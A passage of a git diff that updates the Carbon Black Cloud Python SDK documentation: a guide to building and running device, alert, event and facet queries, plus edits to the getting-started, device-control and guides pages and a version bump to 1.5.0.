-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Data is retrieved from the Carbon Black Cloud with :func:`CBCloudAPI.select() ` statements. -A ``select()`` statement creates a ``query``, which can be further `refined with parameters or criteria <#refine-queries-with-where-and-and-or>`_, and then `executed <#refine-queries-with-where-and-and-or>`_. - -:: - - # Create a query for devices - >>> from cbc_sdk.platform import Device - >>> device_query = api.select(Device).where('avStatus:AV_ACTIVE') - - # The query has not yet been executed - >>> type(device_query) - - -This query will search for Platform Devices with antivirus active. - - -Refine Queries with :func:`where() `, :func:`and_() `, and :func:`or_() ` -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Queries can be refined during or after declaration with -:func:`where() `, -:func:`and_() `, and -:func:`or_() `. - -:: - - # Create a query for events - >>> from cbc_sdk.endpoint_standard import Event - >>> event_query = api.select(Event).where(hostName='Win10').and_(ipAddress='10.0.0.1') - - # Refine the query - >>> event_query.and_(applicationName='googleupdate.exe') - >>> event_query.and_(eventType='REGISTRY_ACCESS') - >>> event_query.and_(ownerNameExact='DevRel') - -This query will search for Endpoint Standard Events created by the application -``googleupdate.exe`` accessing the registry on a device with a hostname containing -``Win10``, an IP Address of ``10.0.0.1``, and owned by ``DevRel``. - -Be Consistent When Refining Queries -""""""""""""""""""""""""""""""""""" - -All queries are of type :meth:`QueryBuilder() `, with support for either -raw string-based queries , or keyword arguments. - -:: - - # Equivalent queries - >>> from cbc_sdk.platform import Device - >>> string_query = api.select(Device).where("avStatus:AV_ACTIVE") - >>> keyword_query = api.select(Device).where(avStatus="AV_ACTIVE"). - -Queries must be -consistent in their use of strings or keywords; do not mix strings and keywords. - -:: - - # Not allowed - >>> from cbc_sdk.platform import Device - >>> mixed_query = api.select(Device).where(avStatus='Win7x').and_("virtualMachine:true") - cbc_sdk.errors.ApiError: Cannot modify a structured query with a raw parameter - -Execute a Query -^^^^^^^^^^^^^^^ - -A query is not executed on the server until it's accessed, either as an iterator -(where it will generate results on demand as they're requested) or as a list -(where it will retrieve the entire result set and save to a list). - -:: - - # Create and Refine a query - >>> from cbc_sdk.platform import Device - >>> device_query = api.select(Device).where('avStatus:AV_ACTIVE').set_os(["WINDOWS"]) - - # Execute the query by accessing as a list - >>> matching_devices = [device for device in device_query] - - >>> print(f"First matching device ID: {matching_devices[0].id}") - First matching device ID: 1234 - - # Or as an iterator - >>> for matching_device in device_query: - ... print(f"Matching device ID: {matching_device.id}) - Matching device ID: 1234 - Matching device ID: 5678 - -You can also call the Python built-in ``len()`` on this object -to retrieve the total number of items matching the query. - -:: - - # Retrieve total number of matching devices - >>> len(device_query) - 2 - -In this example, the matching device ID's are accessed with ``device.id``. If using -Endpoint Standard Devices, the device ID's are accessed with ``device.deviceId``. - -Query Parameters vs Criteria -^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -For queries, some Carbon Black Cloud APIs use ``GET`` requests with parameters, -and some use ``POST`` requests with criteria. - -Parameters -"""""""""" - -Parameters modify a query. When modifying a query with -:func:`where() `, -:func:`and_() `, and -:func:`or_() `, those modifications become query -parameters when sent to Carbon Black Cloud. - -:: - - >>> device_query = api.select(endpoint_standard.Device).where(hostName='Win7').and_(ipAddress='10.0.0.1') - -Executing this query results in an API call similar to ``GET /integrationServices/v3/device?hostName='Win7'&ipAddress='10.0.0.1'`` - -Criteria -"""""""" - -Criteria also modify a query, and can be used with or without parameters. -When using CBC SDK, there are API-specific methods you can use to add criteria to queries. - -:: - - # Create a query for alerts - >>> from cbc_sdk.platform import Alert - >>> alert_query = api.select(Alert) - - # Refine the query with parameters - >>> alert_query.where(alert_severity=9).or_(alert_severity=10) - - # Refine the query with criteria - >>> alert_query.set_device_os(["MAC"]).set_device_os_versions(["10.14.6"]) - - -Executing this query results in an API call to ``POST /appservices/v6/orgs/{org_key}/alerts/_search`` -with this JSON Request Body: - -.. code-block:: json - - { - "query": "alert_severity:9 OR alert_severity:10", - "criteria": { - "device_os": ["MAC"], - "device_os_version": ["10.14.6"] - } - } - -The query parameters are sent in ``"query"``, and the criteria are sent in ``"criteria"``. - -Modules with Support for Criteria -""""""""""""""""""""""""""""""""" - -:mod:`Run ` - - :meth:`cbc_sdk.audit_remediation.base.RunQuery.device_ids` - - :meth:`cbc_sdk.audit_remediation.base.RunQuery.device_types` - - :meth:`cbc_sdk.audit_remediation.base.RunQuery.policy_id` - -:mod:`Result ` and :mod:`Device Summary ` - - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_device_ids` - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_device_names` - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_device_os` - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_policy_ids` - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_policy_names` - - :meth:`cbc_sdk.audit_remediation.base.ResultQuery.set_status` - -:mod:`ResultFacet ` and :mod:`DeviceSummaryFacet ` - - - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_device_ids` - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_device_names` - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_device_os` - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_policy_ids` - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_policy_names` - - :meth:`cbc_sdk.audit_remediation.base.FacetQuery.set_status` - -:mod:`USBDeviceApprovalQuery ` - - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_categories` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_create_time` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_device_ids` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_device_names` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_device_os` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_device_os_versions` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_device_username` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_group_results` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_alert_ids` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_legacy_alert_ids` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_minimum_severity` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_policy_ids` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_policy_names` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_process_names` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_process_sha256` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_reputations` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_tags` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_target_priorities` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_threat_ids` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_types` - - :meth:`cbc_sdk.platform.alerts.BaseAlertSearchQuery.set_workflows` - -:mod:`WatchlistAlert ` - - - :meth:`cbc_sdk.platform.alerts.WatchlistAlertSearchQuery.set_watchlist_ids` - - :meth:`cbc_sdk.platform.alerts.WatchlistAlertSearchQuery.set_watchlist_names` - -:mod:`CBAnalyticsAlert ` - - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_blocked_threat_categories` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_device_locations` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_kill_chain_statuses` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_not_blocked_threat_categories` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_policy_applied` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_reason_code` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_run_states` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_sensor_actions` - - :meth:`cbc_sdk.platform.alerts.CBAnalyticsAlertSearchQuery.set_threat_cause_vectors` - -:mod:`Event ` - -:mod:`Process ` - -Modules not yet Supported for Criteria -"""""""""""""""""""""""""""""""""""""" - -:mod:`RunHistory ` - - -Asynchronous Queries --------------------- - -A number of queries allow for asynchronous mode of operation. Those utilize python futures and the request itself is performed in a separate worker thread. -An internal thread pool is utilized to support multiple CBC queries executing in an asynchronous manner without blocking the main thread. - -Execute an asynchronous query -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Running asynchronous queries is done by invoking the ``execute_async()`` method, e.g: - - >>> async_query = api.select(EnrichedEvent).where('process_name:chrome.exe').execute_async() - -The ``execute_async()`` method returns a python future object that can be later on waited for results. - -Fetching asynchronous queries' results -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Results from asynchronous queries can be retrieved by using the result() method since they are actually futures: - - >>> print(async_query.result()) - -This would block the main thread until the query completes. - -Modules with support for asynchronous queries -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -:mod:`Process ` - -:mod:`ProcessFacet ` - -:mod:`EnrichedEvent ` - -:mod:`EnrichedEventFacet ` - -:mod:`USBDeviceApprovalQuery ` - -:mod:`USBDeviceBlockQuery ` - -:mod:`USBDeviceQuery ` - -Facets ------- - -Facet search queries return statistical information indicating the relative weighting of the requested values as per the specified criteria. -There are two types of criteria that can be set, one is the ``range`` type which is used to specify discrete values (integers or timestamps - specified both as seconds since epoch and also as ISO 8601 strings). -The results are then grouped by occurence within the specified range. -The other type is the ``term`` type which allow for one or more fields to use as a criteria on which to return weighted results. - -Setting ranges -^^^^^^^^^^^^^^ - -Ranges are configured via the ``add_range()`` method which accepts a dictionary of range settings or a list of range dictionaries: - - >>> range = { - ... "bucket_size": "+1DAY", - ... "start": "2020-10-16T00:00:00Z", - ... "end": "2020-11-16T00:00:00Z", - ... "field": "device_timestamp" - ... } - >>> query = api.select(EnrichedEventFacet).where(process_pid=1000).add_range(range) - -The range settings are as follows: - -* ``field`` - the field to return the range for, should be a discrete one (integer or ISO 8601 timestamp) -* ``start`` - the value to begin grouping at -* ``end`` - the value to end grouping at -* ``bucket_size``- how large of a bucket to group results in. If grouping an ISO 8601 property, use a string like '-3DAYS' - -Multiple ranges can be configured per query by passing a list of range dictionaries. - -Setting terms -^^^^^^^^^^^^^ - -Terms are configured via the ``add_facet_field()`` method: - - >>> query = api.select(EnrichedEventFacet).where(process_pid=1000).add_facet_field("process_name") - -The argument to add_facet_field method is the name of the field to be summarized. - -Getting facet results -^^^^^^^^^^^^^^^^^^^^^ - -Facet results can be retrieved synchronously with the ``.results`` property, or asynchronously with the ``.execute_async()` and ``.result()`` methods. - -Create the query: - - >>> event_facet_query = api.select(EventFacet).add_facet_field("event_type") - >>> event_facet_query.where(process_guid="WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") - >>> range = { - ... "bucket_size": "+1DAY", - ... "start": "2020-10-16T00:00:00Z", - ... "end": "2020-11-16T00:00:00Z", - ... "field": "device_timestamp" - ... } - >>> event_facet_query.add_range(range) - -1. With the ``.results`` property: - - >>> synchronous_results = event_facet_query.results - >>> print(synchronous_results) - EventFacet object, bound to https://defense-eap01.conferdeploy.net. - ------------------------------------------------------------------------------- - num_found: 16 - processed_segments: 1 - ranges: [{'start': '2020-10-16T00:00:00Z', 'end': '2020... - terms: [{'values': [{'total': 14, 'id': 'modload', 'na... - total_segments: 1 - -2. With the ``.execute_async()`` and ``.result()`` methods: - - >>> asynchronous_future = event_facet_query.execute_async() - >>> asynchronous_result = asynchronous_future.result() - >>> print(asynchronous_result) - EventFacet object, bound to https://defense-eap01.conferdeploy.net. - ------------------------------------------------------------------------------- - num_found: 16 - processed_segments: 1 - ranges: [{'start': '2020-10-16T00:00:00Z', 'end': '2020... - terms: [{'values': [{'total': 14, 'id': 'modload', 'na... - total_segments: 1 - - -The result for facet queries is a single object with two properties: ``terms`` and ``ranges`` that contain the facet search result weighted as per the criteria provided. - - >>> print(synchronous_result.terms) - [{'values': [{'total': 14, 'id': 'modload', 'name': 'modload'}, {'total': 2, 'id': 'crossproc', 'name': 'crossproc'}], 'field': 'event_type'}] - >>> print(synchronous_result.ranges) - [{'start': '2020-10-16T00:00:00Z', 'end': '2020-11-16T00:00:00Z', 'bucket_size': '+1DAY', 'field': 'device_timestamp', 'values': None}] - - -Modules with support for facet searches -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -:mod:`ProcessFacet ` - -:mod:`EventFacet ` - -:mod:`EnrichedEventFacet ` - - -Enriched Events ---------------- - -We can return the details for the enriched event for a specific event or we could return the details for all enriched events per alert. - -Get details per event -^^^^^^^^^^^^^^^^^^^^^ - -:: - - >>> from cbc_sdk.endpoint_standard import EnrichedEvent - >>> query = cb.select(EnrichedEvent).where(alert_category='THREAT') - >>> # get the first event returned by the query - >>> item = query[0] - >>> details = item.get_details() - >>> print( - ... f''' - ... Category: {details.alert_category} - ... Type: {details.enriched_event_type} - ... Alert Id: {details.alert_id} - ... ''') - Category: ['THREAT']) - Type: CREATE_PROCESS - Alert Id: ['3F0D00A6'] - -Get details for all events per alert -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -:: - - # Alert information is accessible with Platform CBAnalyticsAlert - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import CBAnalyticsAlert - >>> api = CBCloudAPI(profile='platform') - >>> query = cb.select(CBAnalyticsAlert).set_create_time(range="-4w") - >>> # get the first alert returned by the query - >>> alert = query[0] - >>> for event in alert.get_events(): - ... print( - ... f''' - ... Category: {event.alert_category} - ... Type: {event.enriched_event_type} - ... Alert Id: {event.alert_id} - ... ''') - Category: ['OBSERVED'] - Type: SYSTEM_API_CALL - Alert Id: ['BE084638'] - - Category: ['OBSERVED'] - Type: NETWORK - Alert Id: ['BE084638'] - -Live Response with Platform Devices ---------------------------------------------- -As of version 1.3.0 Live Response has been changed to support CUSTOM type API Keys which enables -the platform Device model and Live Response session to be used with a single API key. Ensure your -API key has the ``Device READ`` permission along with the desired :doc:`live-response` permissions - -:: - - # Device information is accessible with Platform Devices - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import Device - >>> api = CBCloudAPI(profile='platform') - >>> platform_devices = api.select(Device).set_os(["WINDOWS", "LINUX"]) - >>> for device in platform_devices: - ... print( - f''' - Device ID: {device.id} - Device Name: {device.name} - - ''') - Device ID: 1234 - Device Name: Win10x64 - - Device ID: 5678 - Device Name: UbuntuDev - - - # Live Response is accessible with Platform Devices - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import Device - >>> api = CBCloudAPI(profile='platform') - >>> platform_device = api.select(Device, 1234) - >>> platform_device.lr_session() - url: /appservices/v6/orgs/{org_key}/liveresponse/sessions/428:1234 -> status: PENDING - [...] - -For more examples on Live Response, check :doc:`live-response` - -USB Devices -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Note that ``USBDevice`` is distinct from either the Platform API ``Device`` or the Endpoint Standard ``Device``. Access -to USB devices is through the Endpoint Standard package ``from cbc_sdk.endpoint_standard import USBDevice``. - -:: - - # USB device information is accessible with Endpoint Standard - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.endpoint_standard import USBDevice - >>> api = CBCloudAPI(profile='endpoint_standard') - >>> usb_devices = api.select(USBDevice).set_statuses(['APPROVED']) - >>> for usb in usb_devices: - ... print(f''' - ... USB Device ID: {usb.id} - ... USB Device: {usb.vendor_name} {usb.product_name} - ... ''') - USB Device ID: 774 - USB Device: SanDisk Ultra - - USB Device ID: 778 - USB Device: SanDisk Cruzer Mini - -Static Methods --------------- - -In version 1.4.2 we introduced static methods on some classes. They handle API requests that are not tied to a specific resource id, thus they cannot be instance methods, instead static helper methods. Because those methods are static, they need a CBCloudAPI object to be passed as the first argument. - -Search suggestions -^^^^^^^^^^^^^^^^^^ - -:: - - # Search Suggestions for Observation - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import Observation - >>> api = CBCloudAPI(profile='platform') - >>> suggestions = Observation.search_suggestions(api, query="device_id", count=2) - >>> for suggestion in suggestions: - ... print(suggestion["term"], suggestion["required_skus_all"], suggestion["required_skus_some"]) - device_id [] ['threathunter', 'defense'] - netconn_remote_device_id ['xdr'] [] - - -:: - - # Search Suggestions for Alerts - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert - >>> api = CBCloudAPI(profile='platform') - >>> suggestions = BaseAlert.search_suggestions(api, query="device_id") - >>> for suggestion in suggestions: - ... print(suggestion["term"], suggestion["required_skus_some"]) - device_id ['defense', 'threathunter', 'deviceControl'] - device_os ['defense', 'threathunter', 'deviceControl'] - ... - workload_name ['kubernetesSecurityRuntimeProtection'] - - -Bulk Get Details -^^^^^^^^^^^^^^^^ - -:: - - # Observations get details per alert id - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import Observation - >>> api = CBCloudAPI(profile='platform') - >>> bulk_details = Observation.bulk_get_details(api, alert_id="4d49d171-0a11-0731-5172-d0963b77d422") - >>> for obs in bulk_details: - ... print( - ... f''' - ... Category: {obs.alert_category} - ... Type: {obs.observation_type} - ... Alert Id: {obs.alert_id} - ... ''') - Category: ['THREAT'] - Type: CB_ANALYTICS - Alert Id: ['4d49d171-0a11-0731-5172-d0963b77d422'] - -:: - - # Observations get details per observation_ids - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import Observation - >>> api = CBCloudAPI(profile='platform') - >>> bulk_details = Observation.bulk_get_details(api, observation_ids=["13A5F4E5-C4BD-11ED-A7AB-005056A5B601:13a5f4e4-c4bd-11ed-a7ab-005056a5b611", "13A5F4E5-C4BD-11ED-A7AB-005056A5B601:13a5f4e4-c4bd-11ed-a7ab-005056a5b622"]) - >>> for obs in bulk_details: - ... print( - ... f''' - ... Category: {obs.alert_category} - ... Type: {obs.observation_type} - ... Alert Id: {obs.alert_id} - ... ''') - Category: ['THREAT'] - Type: CB_ANALYTICS - Alert Id: ['4d49d171-0a11-0731-5172-d0963b77d422'] - - Category: ['THREAT'] - Type: CB_ANALYTICS - Alert Id: ['4d49d171-0a11-0731-5172-d0963b77d411'] - diff --git a/docs/conf.py b/docs/conf.py index b024d3366..dd6336a9e 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -23,7 +23,7 @@ author = 'Developer Relations' # The full version, including alpha/beta/rc tags -release = '1.4.3' +release = '1.5.0' # -- General configuration --------------------------------------------------- diff --git a/docs/device-control.rst b/docs/device-control.rst index e207f5e90..f098e6a55 100755 --- a/docs/device-control.rst +++ b/docs/device-control.rst @@ -4,13 +4,16 @@ Device Control Using the Carbon Black Cloud SDK, you can retrieve information about USB devices used in your organization, and manage the blocking of such devices from access by your endpoints. +.. note:: + + ``USBDevice`` is distinct from either the Platform API ``Device`` or the Endpoint Standard ``Device``. Access + to USB devices is through the Endpoint Standard package ``from cbc_sdk.endpoint_standard import USBDevice``. + Retrieving the List of Known USB Devices ---------------------------------------- Using a query of the ``USBDevice`` object, you can see which USB devices have been used on any endpoint in your -organization. - -:: +organization:: >>> from cbc_sdk import CBCloudAPI >>> api = CBCloudAPI(profile='sample') @@ -27,13 +30,21 @@ organization. Note that individual USB devices may be ``APPROVED`` or ``UNAPPROVED``. USB devices which are ``UNAPPROVED`` cannot be read on any endpoint with a policy that blocks unknown USB devices. +A USB device query can also be exported to either CSV or JSON format, for use by other software systems:: + + >>> from cbc_sdk import CBCloudAPI + >>> api = CBCloudAPI(profile='sample') + >>> from cbc_sdk.endpoint_standard import USBDevice + >>> query = api.select(USBDevice).where('1') + >>> job = query.export('CSV') + >>> csv_report = job.get_output_as_string() + >>> # can also get the output as a file or as enumerated lines of text + Approving A Specific Device --------------------------- We can create an approval for a USB device by using the device's ``approve()`` method. First, we'll get a list of all -unapproved USB devices. - -:: +unapproved USB devices:: >>> from cbc_sdk import CBCloudAPI >>> api = CBCloudAPI(profile='sample') @@ -47,9 +58,7 @@ unapproved USB devices. SanDisk Cruzer Dial 4C530000110722114075 PNY USB 2.0 FD 07189613DD84E242 -Now we'll select one of these devices and approve it. - -:: +Now we'll select one of these devices and approve it:: >>> usb = usb_list[1] >>> print(usb.status) @@ -72,7 +81,7 @@ also reloads the ``USBDevice`` so its ``status`` reflects the fact that it's bee Removing A Device's Approval ---------------------------- -Device approvals may be removed via the API as well. Starting from the end of the previous example: +Device approvals may be removed via the API as well. Starting from the end of the previous example:: >>> approval.delete() >>> usb.refresh() @@ -83,6 +92,29 @@ Device approvals may be removed via the API as well. Starting from the end of th The ``delete()`` method is what causes the approval to be removed. We then use ``refresh()`` on the actual ``USBDevice`` object to allow its ``status`` to be updated. +Retrieving the List of Approvals +-------------------------------- + +USB device approvals can also be enumerated directly:: + + >>> from cbc_sdk import CBCloudAPI + >>> api = CBCloudAPI(profile='sample') + >>> from cbc_sdk.endpoint_standard import USBDeviceApproval + >>> query = api.select(USBDeviceApproval) + >>> for approval in query: + ... print(f"{approval.id} {approval.approval_name} {approval.serial_number}") + ... + +They can also be exported in a similar manner to USB devices:: + + >>> from cbc_sdk import CBCloudAPI + >>> api = CBCloudAPI(profile='sample') + >>> from cbc_sdk.endpoint_standard import USBDeviceApproval + >>> query = api.select(USBDeviceApproval) + >>> job = query.export('CSV') + >>> csv_report = job.get_output_as_string() + >>> # can also get the output as a file or as enumerated lines of text + Device Control Alerts --------------------- diff --git a/docs/getting-started.rst b/docs/getting-started.rst index 49e7d53a0..6c39371e8 100644 --- a/docs/getting-started.rst +++ b/docs/getting-started.rst @@ -2,13 +2,16 @@ Getting Started with the Carbon Black Cloud Python SDK - "Hello CBC" ==================================================================== + This document will help you get started with the Carbon Black Cloud Python SDK by installing it, configuring authentication for it, and executing a simple example program that makes one API call. Installation ------------ -Make sure you are using Python 3. Use the command ``pip install carbon-black-cloud-sdk`` to install the SDK and all its dependencies. -(In some environments, the correct command will be ``pip3 install carbon-black-cloud-sdk`` to use Python 3.) + +Make sure you are using Python 3. Use the command ``pip install carbon-black-cloud-sdk`` to install the SDK and all +its dependencies. (In some environments, the correct command will be ``pip3 install carbon-black-cloud-sdk`` to +use Python 3.) You can also access the SDK in development mode by cloning the GitHub repository, and then executing ``python setup.py develop`` (in some environments, ``python3 setup.py develop``) from the top-level directory. @@ -19,10 +22,12 @@ See also the :doc:`installation` section of this documentation for more informat Authentication -------------- + To make use of APIs, you will need an *API token,* in case you are using Carbon Black Cloud to manage your -identity and authentication, or if you are using VMware Cloud Services Platform, an *OAuth App with Bearer* or a *Personal API Token*. -For our example, we will use a custom CBC-managed key with the ability to list devices. -To learn more about the different authentication methods, click `here `_. +identity and authentication, or if you are using VMware Cloud Services Platform, an *OAuth App with Bearer* or +a *Personal API Token*. For our example, we will use a custom CBC-managed key with the ability to list devices. +To learn more about the different authentication methods, click +`here `_. Log into the Carbon Black Cloud UI and go to ``Settings > API Access``. Start by selecting ``Access Levels`` at the top of the screen and press ``Add Access Level``. Fill in a name and description for your sample access level, keep @@ -45,6 +50,7 @@ credentials. Copy the following template to this new file:: token= org_key= ssl_verify=True + integrationName=CustomSDKScript/1.0 Following the ``url=`` keyword, add the top-level URL you use to access the Carbon Black Cloud, including the ``https://`` prefix and the domain name, but without any of the path information following it. @@ -75,24 +81,41 @@ For further information, please see the :doc:`authentication` section of the doc `Authentication Guide `_ on the Carbon Black Cloud Developer Network. +Setting the User-Agent +---------------------- + +The SDK supports custom ``User-Agent``s, which allow you to identify yourself when using the SDK to make API calls. +The credential parameter ``integration_name`` is used for this. If you use a file to authenticate the SDK, this is +how you could identify yourself:: + + [default] + url=http://example.com + token=ABCDEFGHIJKLMNOPQRSTUVWX/12345678 + org_key=A1B2C3D4 + integration_name=MyScript/0.9.0 + +See the :doc:`authentication` documentation for more information about credentials. + Running the Example ------------------- + The example we will be running is ``list_devices.py``, located in the ``examples/platform`` subdirectory of the GitHub repository. If you cloned the repository, change directory to ``[sdk]/examples/platform``, where ``[sdk]`` is the top-level directory of the SDK. (On Windows, use ``[sdk]\examples\platform``.) Alternately, you may view the current version of that script in "raw" mode in GitHub, and use your browser's ``Save As`` function to save the script locally. In that case, change directory to whichever directory you saved the script to. -Execute the script by using the command ``python list_devices.py -q '1'`` (in some environments, -``python3 list_devices.py -q '1'``). If all is well, you will see a list of devices (endpoints) registered in your +Execute the script by using the command ``python list_devices.py`` (in some environments, +``python3 list_devices.py``). If all is well, you will see a list of devices (endpoints) registered in your organization, showing their numeric ID, host name, IP address, and last checkin time. -You can change what devices are shown by modifying the query value supplied to the ``-q`` parameter, and also by using +You can change what devices are shown by adding a query value with the ``-q`` parameter, and also by using additional parameters to modify the search criteria. Execute the command ``python list_devices.py --help`` (in some environments, ``python3 list_devices.py --help``) for a list of all possible command line parameters. Inside the Example Script ------------------------- + Once the command-line arguments are parsed, we create a Carbon Black Cloud API object with a call to the helper function ``get_cb_cloud_object()``. The standard ``select()`` method is used to create a query object that queries for devices; the query string is passed to that object via the ``where()`` method, and other criteria are added using @@ -105,56 +128,44 @@ properties of each retrieved Device object. Calling the SDK Directly ------------------------ + Now we'll repeat this example, but using the Python command line directly without a script. -Access your Python interpreter with the ``python`` command (or ``python3`` if required) and type: +Access your Python interpreter with the ``python`` command (or ``python3`` if required) and type:: ->>> from cbc_sdk.rest_api import CBCloudAPI ->>> from cbc_sdk.platform import Device ->>> cb = CBCloudAPI(profile='default') + >>> from cbc_sdk.rest_api import CBCloudAPI + >>> from cbc_sdk.platform import Device + >>> cb = CBCloudAPI(profile='default') This imports the necessary classes and creates an instance of the base ``CBCloudAPI`` object. By default, the file credentials provider is used. We set it to use the ``default`` profile in your ``credentials.cbc`` file, which you set up earlier. -**N.B.:** On Windows, a security warning message will be generated about file access to CBC SDK credentials being -inherently insecure. +.. note:: ->>> query = cb.select(Device).where('1') + On Windows, a security warning message will be generated about file access to CBC SDK credentials being + inherently insecure. -This creates a query object that searches for all devices (the '1' causes all devices to be matched, as in SQL). +This creates a query object that searches for all devices:: ->>> devices = list(query) + >>> query = cb.select(Device) -For convenience, we load the entirety of the query results into an in-memory list. +For convenience, we load the entirety of the query results into an in-memory list:: ->>> for device in devices: -... print(device.id, device.name, device.last_internal_ip_address, device.last_contact_time) -... + >>> devices = list(query) Using a simple ``for`` loop, we print out the ID, host name, internal IP address, and last contact time from each returned device. Note that the contents of the list are ``Device`` objects, not dictionaries, so we access individual -properties with the ``object.property_name`` syntax, rather than ``object['property_name']``. +properties with the ``object.property_name`` syntax, rather than ``object['property_name']``:: -Setting the User-Agent ----------------------- + >>> for device in devices: + ... print(device.id, device.name, device.last_internal_ip_address, device.last_contact_time) + ... -The SDK supports custom User-Agent's, which allow you to identify yourself when using the SDK to make API calls. -The credential parameter ``integration_name`` is used for this. If you use a file to authenticate the SDK, this is -how you could identify yourself: - -:: - - [default] - url=http://example.com - token=ABCDEFGHIJKLMNOPQRSTUVWX/12345678 - org_key=A1B2C3D4 - integration_name=MyScript/0.9.0 - -See the :doc:`authentication` documentation for more information about credentials. +Searching is an important operation in the SDK, as that is how objects are generally retrieved for other operations. +The :doc:`Guide to Searching ` contains more information about searching. Next Steps ---------- - - :doc:`concepts`: General information about using the Carbon Black Cloud SDK - - :doc:`guides`: Information and Examples related to specific actions you want to take on your Carbon Black Cloud data \ No newline at end of file + - :doc:`guides`: Information and Examples related to specific actions you want to take on your Carbon Black Cloud data diff --git a/docs/guides.rst b/docs/guides.rst index 6eecbc479..da6581db0 100755 --- a/docs/guides.rst +++ b/docs/guides.rst @@ -16,10 +16,35 @@ In general, and unless otherwise indicated, these guides are directed at those t Certain guides may be more geared towards audiences with more experience with the Carbon Black Cloud, such as administrators. -Guides ------- +Information about updating to new versions of the SDK to take advantage of new features in Carbon Black Cloud are +in `Migration Guides`_. + +Feature Guides +-------------- +.. toctree:: + :maxdepth: 2 + + searching + alerts + audit-log + developing-credential-providers + device-control + differential-analysis + live-query + live-response + policy + recommendations + reputation-override + unified-binary-store + users-grants + vulnerabilities + watchlists-feeds-reports + workload +* :doc:`searching` - Most operations in the SDK will require you to search for objects. * :doc:`alerts` - Work and manage different types of alerts such as CB Analytics Alert, Watchlist Alerts and Device Control Alerts. +* :doc:`alerts-migration` - Update from SDK 1.4.3 or earlier to SDK 1.5.0 or later to get the benefits of the Alerts v7 API. +* :doc:`audit-log` - Retrieve audit log events indicating various "system" events. * :doc:`device-control` - Control the blocking of USB devices on endpoints. * :doc:`differential-analysis` - Provides the ability to compare and understand the changes between two Live Query runs * :doc:`live-query` - Live Query allows operators to ask questions of endpoints @@ -32,3 +57,12 @@ Guides * :doc:`vulnerabilities` - View asset (Endpoint or Workload) vulnerabilities to increase security visibility. * :doc:`watchlists-feeds-reports` - Work with Enterprise EDR watchlists, feeds, reports, and Indicators of Compromise (IOCs). * :doc:`workload` - Advanced protection purpose-built for securing modern workloads to reduce the attack surface and strengthen security posture. + +Migration Guides +---------------- +.. toctree:: + :maxdepth: 2 + + alerts-migration + 